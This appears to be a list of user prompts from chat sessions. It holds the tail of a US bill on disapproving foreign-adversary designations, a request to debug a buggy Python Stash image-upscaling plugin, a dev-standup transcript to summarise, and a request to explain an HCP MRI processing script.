REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" -'Here is the complete code. Beforehand, it\'s a plugin to a react site written in go, that hooks with a yaml file to provide buttons on the site. One set to setup tags and another to perform performer image ai upscaling of the image. When client.upscale\\_PerformerImage() is invoked, it\'s supposed to run through def upscale\\_PerformerImage and then findTagIdWithName to find the tag name, and then findPerformersByTag to find performer who have been tagged by the tag name, then get the image of the performer and upscale it. Here is the code import config\\_manager\nimport configparser\nimport requests\nimport sys\nimport json\nimport pathlib\nimport os\nfrom gigapixel import Gigapixel, Scale, Mode\nfrom pathlib import Path\n\n# Path to Gigapixel executable file.\nexe\\_path = Path(\'B:\\Program Files\\Topaz Labs LLC\\Topaz Gigapixel AI\\Topaz Gigapixel AI.exe\')\n\n# Output file suffix. (e.g. pic.jpg -> pic-gigapixel.jpg)\n# You should set same value inside Gigapixel (File -> Preferences -> Default filename suffix).\noutput\\_suffix = \'-gigapixel\'\n\n# Create Gigapixel instance.\napp = Gigapixel(exe\\_path, output\\_suffix)\n\nconfigpath = os.path.join(pathlib.Path(\\_\\_file\\_\\_).parent.resolve(), \'config.ini\')\n\ndef get\\_config\\_value(config\\_file, section, option):\n config = configparser.ConfigParser()\n config.read(config\\_file)\n return config.get(section, option)\n\n \nclass upscale\\_with:\n\n def \\_\\_init\\_\\_(self, url):\n self.url = url\n self.api\\_key = get\\_config\\_value(configpath, \'STASH\', \'api\\_key\')\n stash\\_url = get\\_config\\_value(configpath, \'STASH\', \'url\')\n if not stash\\_url:\n self.error("You need to set the URL in \'config.ini\'")\n return None\n self.stash\\_url = stash\\_url + "/graphql"\n self.headers = {\n "Accept-Encoding": "gzip, deflate, br",\n "Content-Type": "application/json",\n "Accept": "application/json",\n "Connection": "keep-alive",\n "DNT": "1",\n "ApiKey": self.api\\_key\n }\n \n def log(self, level, message):\n print(f"[{level.upper()}] {message}")\n \n def \\_\\_prefix(self,levelChar):\n startLevelChar = b\'\\x01\'\n endLevelChar = b\'\\x02\'\n\n ret = startLevelChar + levelChar + endLevelChar\n return ret.decode()\n\n def \\_\\_log(self,levelChar, s):\n if levelChar == "":\n return\n\n print(self.\\_\\_prefix(levelChar) + s + "\\n", file=sys.stderr, flush=True)\n\n def trace(self,s):\n self.\\_\\_log(b\'t\', s)\n\n def debug(self,s):\n self.\\_\\_log(b\'d\', s)\n\n def info(self,s):\n self.\\_\\_log(b\'i\', s)\n\n def warning(self,s):\n self.\\_\\_log(b\'w\', s)\n\n def error(self,s):\n self.\\_\\_log(b\'e\', s)\n\n def progress(self,p):\n progress = min(max(0, p), 1)\n self.\\_\\_log(b\'p\', str(progress))\n\n def \\_\\_callGraphQL(self, query, variables=None):\n json = {}\n json[\'query\'] = query\n if variables != None:\n json[\'variables\'] = variables\n\n # handle cookies\n response = requests.post(self.url, json=json, headers=self.headers)\n\n if response.status\\_code == 200:\n result = response.json()\n if result.get("error", None):\n for error in result["error"]["errors"]:\n raise Exception("GraphQL error: {}".format(error))\n if result.get("data", None):\n return result.get("data")\n else:\n raise Exception(\n "GraphQL query failed:{} - {}. Query: {}. Variables: {}".format(response.status\\_code, response.content, query, variables))\n \n \n def listTags(self):\n query = """\n query {\n allTags {\n id\n name\n }\n }"""\n\n result = self.\\_\\_callGraphQL(query)\n return result["allTags"]\n \n\n def findTagIdWithName(self, name):\n query = """\nquery {\n allTags {\n id\n name\n }\n}\n """\n\n result = self.\\_\\_callGraphQL(query)\n name = \'upscale\\_with\\_Gigapixel\'\n for tag in result["allTags"]:\n if tag["name"] == name:\n return tag["id"]\n return None\n \n\n def createTagWithName(self, name):\n query = """\nmutation tagCreate($input:TagCreateInput!) {\n tagCreate(input: $input){\n id \n }\n}\n"""\n variables = {\'input\': {\n \'name\': name\n }}\n\n result = self.\\_\\_callGraphQL(query, variables)\n return result["tagCreate"]["id"]\n\n def destroyTag(self, id):\n query = """\nmutation tagDestroy($input: TagDestroyInput!) {\n tagDestroy(input: $input)\n}\n"""\n variables = {\'input\': {\n \'id\': id\n }}\n self.\\_\\_callGraphQL(query, variables)\n \n def findPerformersByTag(self, id):\n query = """query performer\\_images($performer\\_filter: PerformerFilterType!) {\n findPerformers(performer\\_filter: $performer\\_filter filter: {per\\_page: -1}){\n\n performers{\n id\n name\n image\\_path\n tags{\n name\n }\n }\n}\n}"""\n variables = {\'performer\\_filter\': {\n \'tags\': {\n \'value\': id, \'modifier\': \'INCLUDES\', \'depth\':1\n \n }\n }}\n self.error(json.dumps(variables))\n result = self.\\_\\_callGraphQL(query)\n\n for performer in tag["id"]:\n return result["findPerformers"]["performers"]["image\\_path"]\n\n \n# Adding Gigapixel Now\n def processPerformerImage(self, result, id):\n # for performer in self.findPerformersByTag(image\\_path):\n # id = self.findPerformersByTag(id)\n \n # Name of the image file\n file\\_name = \'image.jpg\'\n \n image = requests.get(image\\_path).content\n \n # Create a Path object for the current directory\n current\\_dir = Path.cwd()\n \n # Save the image data to a file in the current directory\n with open(current\\_dir / file\\_name, \'wb\') as f:\n f.write(image\\_data)\n # Variable for saved image\n image\\_saved = Path(current\\_dir + \'/image.jpg\')\n output\\_path = app.process(image\\_saved, scale=Scale.X2, mode=Mode.STANDARD)\n \n # processPerformerImage(output\\_path) \n \n query = """\nmutation performerUpdate($performer\\_update\\_input: PerformerUpdateInput!){\n performerUpdate(input: $performer\\_update\\_input){\n id\n }\n}\n """\n variables = {"performer\\_update\\_input": {"image": result, "id": id}}\n\n # result = self.\\_\\_callGraphQL(query, variables)\n # return result["performerUpdate"]\n return self.\\_\\_callGraphQL(query, variables)\n\n def setup\\_tags(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID = self.findTagIdWithName(tagName)\n if tagID == None:\n tagID = self.createTagWithName(tagName)\n self.debug("adding tag "+tagName)\n else:\n self.debug("tag exists, "+tagName)\n\n def upscale\\_PerformerImage(self):\n tagName=\'upscale\\_with\\_Gigapixel\'\n tagID=self.findTagIdWithName(tagName)\n if tagID == None:\n self.debug("Error no tag for upscale\\_PerformerImage")\n else:\n self.debug("Tag exists for upscale\\_PerformerImage") \n \n performers=self.findPerformersByTag(tagID)\n for performer in performers:\n if tags["name"].startswith("upscale\\_with\\_Gigapixel"):\n self.info("Upscaling all performer images with tag: "+str(tag["name"]))\n self.processPerformerImage(tag["id"])\n # performers = self.findPerformersByTag(\'id\')\n # performers = self.processPerformerImage(tag["id"])\n # if tag["name"][12:] in performers:\n # self.processPerformerImage(tag["id"])\n\n# Press the green button in the gutter to run the script.\nif \\_\\_name\\_\\_ == \'\\_\\_main\\_\\_\':\n if len(sys.argv) > 1:\n url = "http://localhost:9999/graphql"\n if len(sys.argv) > 2:\n url = sys.argv[2]\n\n if sys.argv[1] == "setup":\n client = upscale\\_all(url)\n client.setup\\_tags()\n elif sys.argv[1] =="upscale\\_all":\n client = upscale\\_all(url)\n client.upscale\\_PerformerImage()\n elif sys.argv[1]== "api":\n fragment = json.loads(sys.stdin.read())\n scheme=fragment["server\\_connection"]["Scheme"]\n port=fragment["server\\_connection"]["Port"]\n domain="localhost"\n if "Domain" in fragment["server\\_connection"]:\n domain = fragment["server\\_connection"]["Domain"]\n if not domain:\n domain=\'localhost\'\n url = scheme + "://" + domain + ":" +str(port) + "/graphql"\n\n client=upscale\\_with(url)\n mode=fragment["args"]["mode"]\n client.debug("Mode: "+mode)\n if mode == "setup":\n client.setup\\_tags()\n elif mode == "upscale\\_all":\n # current\\_dir = Path.cwd()\n # client.processPerformerImage(str(current\\_dir) + \'/image-gigapixel.jpg\')\n client.upscale\\_PerformerImage()\n else:\n print("")\n \n# upscaler = upscale\\_with(url)\n# result = upscaler.listTags()\n# upscaler.processPerformerImage(output\\_path)' -"Convert this transcript for a development meeting into meeting notes. \n\nDev Standup 1/23/23\nMeeting started: Jan 23,2023 11:46:19 PM\nDuration: 16mins 35s\nAirgram link: https://app.airgram.io/7023310957585629185/my-meetings/087469789b3511edaac30a2cbd030b4d\n \nTranscript\nMiles Morton (00:01)\nIn that would be really great. The miles gets the system. \nKevin Fitzpatrick (00:27)\nOkay. So should we start now. \nMiles Morton (00:30)\nOut of Miles assistant is here. Yeah, I think. I think we can start. Okay. \nKevin Fitzpatrick (00:37)\nCool. Let me just. What am I doing. Just go share a screen. There it is. Okay. \nKevin Fitzpatrick (00:51)\nOkay. Cool. Let's start with Cyrus. \nCyrus Collier (01:03)\nYou can move. \nKevin Fitzpatrick (01:06)\nThe engage thing to in progress that's that. The bottom of there and the criterion. \nCyrus Collier (01:11)\nI just moved in. I'm gonna Criterion week done. Okay. And then. I have to do with the BA stuff. I guess they're all just kind of neural and beta. \nCyrus Collier (01:26)\nGravity plus thing. \nKevin Fitzpatrick (01:30)\nWednesday. Yep. They scheduled it. I saw that. \nCyrus Collier (01:35)\nYeah, I'm hoping to have that engaged thing actually wrapped up today. I didn't get to it on a Friday because there was some criterion issues, but Dev one environment was down. \nCyrus Collier (01:46)\nFriday, but. While taking all that stuff. But it's actually good that I waited, because then I realized I didn't actually have to go through the trouble of writing a whole, like, script. To do this. I can just do it with some equal queries. So I'm just testing it out right now and then I can just run those. \nCyrus Collier (02:05)\nEnvironments and be done with it. That's good, nice and clean. \nKevin Fitzpatrick (02:16)\nCool. Spence. \nVincent Ragosta (02:22)\nI wrapped up. The ABM stuff. I'm just pulling over here. I wrap OB on Friday, and I did the redirect stuff. I know there was an additional redirect for either Oklahoma or OSM, \nKevin Fitzpatrick (02:32)\nwhich I will handle. Okay. \nVincent Ragosta (02:34)\nWhen I get back and then I know the older contact forms came back as well from QA. So I will be addressing that as well today. \nKevin Fitzpatrick (02:44)\nOh, yeah, miles, did you do your key way on those yet. \nMiles Morton (02:48)\nOn which one Avian contact forms. \nMiles Morton (02:51)\nNo, \nKevin Fitzpatrick (02:52)\nI haven't done my QA on the contact form. Okay, so that would just be something. Vince, you could probably hold until Miles takes a look. So this way you could just do it all at once. \nVincent Ragosta (03:03)\nOkay. No problem. Is pictures from home ready to work? \nKevin Fitzpatrick (03:10)\nOh, no. \nKevin Fitzpatrick (03:12)\nMilestones today. \nVincent Ragosta (03:15)\nOkay. So then I seem light at the moment. \nKevin Fitzpatrick (03:18)\nUnless there's anything. How about the studio? \nVincent Ragosta (03:20)\nYou done with the studio, right. \nJeremy Strom (03:26)\nThere's also this task that you put on me, Kevin. Without you I think we talked about. \nJeremy Strom (03:34)\nEvents doing an initial pass on that. \nKevin Fitzpatrick (03:39)\nOkay. All right, so that would be a priority. Today, \nVincent Ragosta (03:44)\nthen. Okay. So then focus on out over studio. \nKevin Fitzpatrick (03:49)\nYeah. I mean, John asked about the studio on Friday website, so I'm like getting a little. \nKevin Fitzpatrick (03:54)\nNervy about that. But we could. Yeah. \nDonald Deane (03:57)\nWithout you would be definitely be the priority. Kev, I forget it's. Without you the one that has to be done on the cheap. \nJeremy Strom (04:09)\nThere's a wireframe right that Miles made. \nJeremy Strom (04:13)\nSo, Vince, what I was thinking is basically. There are, you know, pages and components and content that needs to be. Scaffolded out. You know, like the NAV. Navs, burger and header stuff. Media Carousel, I think. \nJeremy Strom (04:35)\nThings like that that instead of making a whole design. Of all the pages and everything. We would just Dev it out and. The user our best judgment and design. To do what we can? Oh, yeah? We calendar. \nJeremy Strom (04:57)\nAnd. Then. Miles would give feedback on changes. Does site exist already and have a color palette already? It does. Yeah. There's a landing page that has those two those two buttons VIP tickets and Get tickets, which currently are part of the page content. So that needs to be moved into. \nJeremy Strom (05:20)\nThe header. Component. And adding a menu. There is already I already built a quote rotator on that page that was never. It ended up not being used. I think so that component should already be there with styled arrows and everything. \nJeremy Strom (05:44)\nSo you'll want to look for that. But yeah, hopefully we can just kind of. You know, scaffold out the components and content with some default. You know, styles that are consistent with the existing. Style Guide and. \nJeremy Strom (06:11)\nLet me just go from there. So the idea is to do it as just as quickly as possible. \nKevin Fitzpatrick (06:17)\nYeah. \nVincent Ragosta (06:17)\nThere's 16 hours to do this. And. \nKevin Fitzpatrick (06:22)\nI don't know how many you have. I don't know, Jeremy, how much you plan up. But there's also a media page, \nVincent Ragosta (06:26)\nVince. \nKevin Fitzpatrick (06:27)\nThere's a menu that we're gonna have to do because the site doesn't have a menu. And there's an about page. \nMiles Morton (06:34)\nKevin, did you say that the Media pit, that the media page had to. Have. News articles because that wasn't in the nodes, \nKevin Fitzpatrick (06:44)\nand I didn't put it in the wire. \nKevin Fitzpatrick (06:45)\nNo, the media. Yes, you're right. The media page did have to have news articles. \nMiles Morton (06:49)\nOkay. It's not in any of the documentation. Was that just relayed to you. \nKevin Fitzpatrick (06:54)\nNo, no, it wasn't a documentation. It was in the original spec. I read. \nMiles Morton (06:58)\nSo. I guess I couldn't. I didn't see it. \nKevin Fitzpatrick (07:02)\nBut so it's just like a was in the Google document. \nMiles Morton (07:06)\nThumbnails and links to articles. Yeah, I guess. \nKevin Fitzpatrick (07:11)\nI mean, I hate that or not. Thumbnails. \nMiles Morton (07:13)\nWe can't use thumbnails. So don't you slinks links to articles? Yeah. \nMiles Morton (07:19)\nStupid. Okay. \nKevin Fitzpatrick (07:23)\nOh, wait a second. Was that this may not be the same thing. I think that's pictures from home we're talking about. \nMiles Morton (07:28)\nOh, okay. I'm getting confused. \nKevin Fitzpatrick (07:30)\nYeah, I'm getting them confused, too. I just look over the spec again. But it is pictures from home. That may be that because that's Jeffrey Richards, and he's like, \nMiles Morton (07:37)\nreally old school. Okay. Like old school. \nKevin Fitzpatrick (07:41)\nHe once called the Computer the Google machine. He's very, very proud of his old so. And he's also old. \nDonald Deane (07:57)\nTo me the first time my mom used a computer, she picked up the mouse, and she tried speaking into, Is that the most boomeranish thing you've ever heard in your entire life? \nKevin Fitzpatrick (08:04)\nHello. She's saying it to the mouse. \nJeremy Strom (08:06)\nNothing's. Kind of futuristic. \nDonald Deane (08:09)\nIt is right. Righted, \nKevin Fitzpatrick (08:13)\none. \nCyrus Collier (08:14)\nShe probably got it from Star Trek Four. That's a Scottie. \nDonald Deane (08:17)\nThat's what Scottie doesn't. Surgery, right. Right. \nKevin Fitzpatrick (08:20)\nMy flying cars. Next. \nCyrus Collier (08:23)\nHe sits down to like, an old Mac Plus or something. And this. Oh, that's right. That's right. They start this talking to her like a computer, \nDonald Deane (08:30)\ndo they. \nCyrus Collier (08:32)\nGuys like, you know? And then, like, I think I think McCoy, hands in the mouse. \nDonald Deane (08:37)\nYou hold it up. Hello, computer. You're right. Wow. \nCyrus Collier (08:40)\nMemory unlocked. And then the girl. And then the guy, like, the engineer guy in the warehouse, is like, just use the keyboard. And then he says, the keyboard, how Queen. \nKevin Fitzpatrick (08:48)\nIt starts like typing a mile a minute. \nCyrus Collier (08:52)\nOh, my God. \nMiles Morton (08:54)\nWas Dawn's Mom just making a Star Trek reference? \nDonald Deane (08:56)\nNo, she wasn't. That's. \nMiles Morton (08:59)\nAre you sure? Maybe you just. No, I'm not now. \nKevin Fitzpatrick (09:02)\nI'm not sure. \nDonald Deane (09:06)\nMy mom, my mom is pretty bad. \nDonald Deane (09:08)\nI swear she wasn't my mom's, not that hip. \nKevin Fitzpatrick (09:11)\nShe really isn't. \nJeremy Strom (09:15)\nSo, so, Vince, as far as a first pass, if you're just thinking in terms of. Back end and CMS. What do you what are you thinking? I was thinking for for that part of it maybe like 6 hours, tops. \nVincent Ragosta (09:38)\nBut that's excluding any. The 16 hours. It all makes sense. I have to look at the wireframe. \nJeremy Strom (09:47)\nIt's kind of tough. Yeah, they're here. I'm showing them on my screen. Yeah. \nKevin Fitzpatrick (09:50)\nVincent's on his phone, though. So. \nVincent Ragosta (09:52)\nYeah, I don't see it being that that big. \nJeremy Strom (09:57)\nProblem. Will just stay in touch on it as it goes and keep an eye on your hours. \nKevin Fitzpatrick (10:07)\nYeah. Because we wanted to do a whole design phase. We normally do. And they were just like we just didn't. They didn't have the money to do that. Now. I said, okay, well, we could do, like the Express Lane. \nKevin Fitzpatrick (10:18)\nYou know, and then that's what they approved. And we felt okay about doing the Express Lane because it was already an established site, \nDonald Deane (10:27)\nespecially. And I love it. \nJeremy Strom (10:28)\nYeah. They're trying to squeeze out a 20K for ten. \nKevin Fitzpatrick (10:31)\nYeah. Well, a lot of clients do that. They're crazy. \nKevin Fitzpatrick (10:34)\nNot only that the account team has gone, you know what? I kind of like it because I don't want to be working on a site for so long. \nJeremy Strom (10:42)\nI just want them done. \nKevin Fitzpatrick (10:44)\nWell, we'll knock it out and see how it goes. I mean, the only downside to something like this is if the site didn't have, like, an established look. But you remember when we first started this whole. \nKevin Fitzpatrick (10:54)\nOrchestrator thing like the idea was to build a under 20K site. Any idea that was Miles would just do a home page and kind of work with you guys on the rest of it. Because all the components kind of where the same. \nCyrus Collier (11:14)\nThing is. On our data show that like our analytics show that Besides the homepage and the tickets page like not a lot of people you need to go to the other pages. A third of the budget. Building out this awesome Catholic Creative page. \nDonald Deane (11:30)\nNobody ever sees. Media. \nKevin Fitzpatrick (11:33)\nYeah. And I think Pippa also said Miles, that we could start moving on WWI speaking of other pages like FAQ and. Home page. I mean that again would be. In the express Lane because they don't have a lot of money. \nKevin Fitzpatrick (11:49)\nSo I would almost just go in Dev and do that, like, do something. I mean, we know what they look like, right. But maybe, you know, you could probably just do a design and just match the styles up or whatever, because I figure this client, despite it being in the Express laying, he doesn't know it's in the Express Lane. He thinks he's like pouring out his life's fortune for this website at 1210. \nMiles Morton (12:11)\n£0. \nMiles Morton (12:12)\nWell, we're not. We're not gonna work on we will rock you today, \nKevin Fitzpatrick (12:17)\nright? No. \nMiles Morton (12:17)\nNow we could talk about tomorrow and the next day, but, yeah, \nKevin Fitzpatrick (12:20)\nI think maybe let's just let's just keep focusing. \nMiles Morton (12:23)\nHow the schedule shake out and who has time? Because. \nMiles Morton (12:26)\nI. \nKevin Fitzpatrick (12:28)\nRight now, I'm sort of booked up, but then I've been really slow, so, yeah, no, I'm guaranteeing you by Wednesday will be slow again. \nMiles Morton (12:36)\nYeah. So I don't want to. \nKevin Fitzpatrick (12:38)\nOkay, let's just revisit it. All right. Cool. Kept. \nDonald Deane (12:41)\nShould we mention Friday at all? Since we have a yeah. \nKevin Fitzpatrick (12:45)\nYeah. We kind of have a dilemma because Don. \nJeremy Strom (12:48)\nIs out and I'm out on Friday. \nKevin Fitzpatrick (12:53)\nWe don't know yet but. We've asked. Or I've asked. So. In that case. Just trying to think. Like who covers what? Like when something comes in. I think I just wouldn't make it clear to the account team to go directly to whoever is working on it. Like development wise. Her design was. \nDonald Deane (13:17)\nSo for stuff that might drag, like pictures from Home without you, we were Rocky. While that sort of stuff that we expect end of week. \nMiles Morton (13:30)\nIs the answer. But would it be good to bring in Dan in just a couple of meetings. \nMiles Morton (13:34)\nTowards the end of the week if him billion. \nKevin Fitzpatrick (13:38)\nProbably not. \nDonald Deane (13:39)\nNo, no. Okay. I've made that suggestion. It was told. No. \nMiles Morton (13:45)\nJust checking. \nDonald Deane (13:47)\nSo we're kind of limited in terms of who's been approved to actually support for Kevin and I when we're out, but we'll see what Alicia says. \nKevin Fitzpatrick (13:54)\nWe put the question, yeah, because there are. \nDonald Deane (13:55)\nThere's always going to be instances done when we're both out. Oh, yeah, I know, I know. It just happens to be, you know? \nKevin Fitzpatrick (14:01)\nYep, Yep. \nJeremy Strom (14:03)\nHow about bill. \nMiles Morton (14:07)\nYeah, Bill would be the most obvious alternative, \nKevin Fitzpatrick (14:10)\nbut. I don't think well, you are actually up to speed on Advantage and all that stuff. \nBill Rousseau (14:17)\nBy choice. I apologize. It was multitasking in the background. \nKevin Fitzpatrick (14:20)\nWhat do you need help with? No, I'm just saying. Me and Donna both gonna be out on Friday. \nKevin Fitzpatrick (14:26)\nAnd. You know, people may want to know, like who's gonna cover projects if we're not both here. Yeah, just give me a heads up and happy to help, okay. All right. Well, we could say that to Don if you know, but it it will be maybe once or twice a year that's something like that would happen. \nDonald Deane (14:44)\nYeah. I don't. I mean, whether nothing like, \nKevin Fitzpatrick (14:47)\nyou know, a week long or something, \nDonald Deane (14:49)\nyou know. So no. And we've had we've had periods where you and I are covering for each other. And we don't even inform the larger team, and everything is fine. \nKevin Fitzpatrick (14:56)\nSo I don't that's what they don't want. \nDonald Deane (14:59)\nI know I don't want to, but I don't want to do this in a silos. So I think we you were right in reaching out to Alicia with this KEF. \nKevin Fitzpatrick (15:05)\nOkay. Formalized with her or whatever, however, she wants us to handle. \nKevin Fitzpatrick (15:09)\nOkay. Holly Road. US too. \nDonald Deane (15:15)\nIt's like everybody's just so alarmed. I know. I saw. \nKevin Fitzpatrick (15:19)\nIt's not even that busy. Jesus, \nDonald Deane (15:22)\nwhat are we gonna do on Friday? We're both out. Holy crap. \nKevin Fitzpatrick (15:25)\nNo, I can work. I mean, \nDonald Deane (15:27)\nI could. I just prefer not to. I'd rather you didn't know. \nKevin Fitzpatrick (15:30)\nI would rather I did any. Let's see what Alicia comes. You need to be there for the wife. \nKevin Fitzpatrick (15:35)\nYeah. All right. And both of these things are, you know, we're out because. Not for a vacay day. \nDonald Deane (15:43)\nVacay days, you know so. Medical stuff. \nKevin Fitzpatrick (15:48)\nOkay. Do you want to talk now, Kev? \nDonald Deane (15:50)\nOr do we have. Yeah, we could talk. Yeah. Okay. \nDonald Deane (15:53)\nthanks to everyone else i guess" -"Explain this block of code:\n# coding: utf-8\nimport sys\nsys.path.insert(0, '/data/pgaldi/HCP\\_MRI-behavior')\n# # Load libraries & helper functions\nfrom HCP\\_helpers import \\*\n\n# # Set parameters\n\n# config is a global variable used by several functions\n# Where does the data live?\nconfig.DATADIR = '/data2/HCP/MRI'\nconfig.sourceDir = '/data/pgaldi/HCP\\_MRI-behavior' \n# where all output of processing will be, in BIDS like format\nconfig.outDir = op.join(config.DATADIR,'Results', 'rsDenoise')\n#config.outDir = op.join('rsDenoise')\n\n# Which resting-state denoising pipeline should be used?\nconfig.pipelineName = 'NSF2'\nconfig.Operations = config.operationDict[config.pipelineName]\nconfig.interpolation = 'linear' # or 'linear' or 'astropy'\n\n# Other options\nconfig.isCifti = True\nconfig.queue = True\nif config.isCifti:\n config.sgeopts = '-l h\\_vmem=12G -q long.q'\nelse:\n config.sgeopts = '-l h\\_vmem=25G -q long.q'\nconfig.overwrite = False\nconfig.movementRelativeRMSFile = 'Movement\\_RelativeRMS.txt'\nconfig.movementRegressorsFile = 'Movement\\_Regressors\\_dt.txt'\nconfig.behavFile = pd.read\\_csv('/data/pgaldi/data/unrestricted\\_paolagaldi\\_11\\_2\\_2017\\_8\\_3\\_2.csv')\nconfig.RbehavFile = pd.read\\_csv('/data/pgaldi/data/RESTRICTED\\_paolagaldi\\_8\\_10\\_2017\\_16\\_31\\_0.csv')\n\n# parcellation for FC matrix\n#config.nParcels = 445 #Schaefer\\_Aseg\\_SUIT\nconfig.nParcels = 400 #Schaefer\\_Aseg\\_SUIT only cortex\n#config.nParcels = 268 #Shen\n#config.nParcels = 360 #Glasser\nif config.isCifti:\n config.parcellationName = 'Schaefer\\_Aseg\\_SUIT\\_cortex'\n config.parcellationFile = '/data/pgaldi/Schaefer\\_Aseg\\_SUIT/Parcels.dlabel.nii'\n #config.parcellationName = 'Schaefer600\\_Aseg\\_SUIT\\_surf'\n 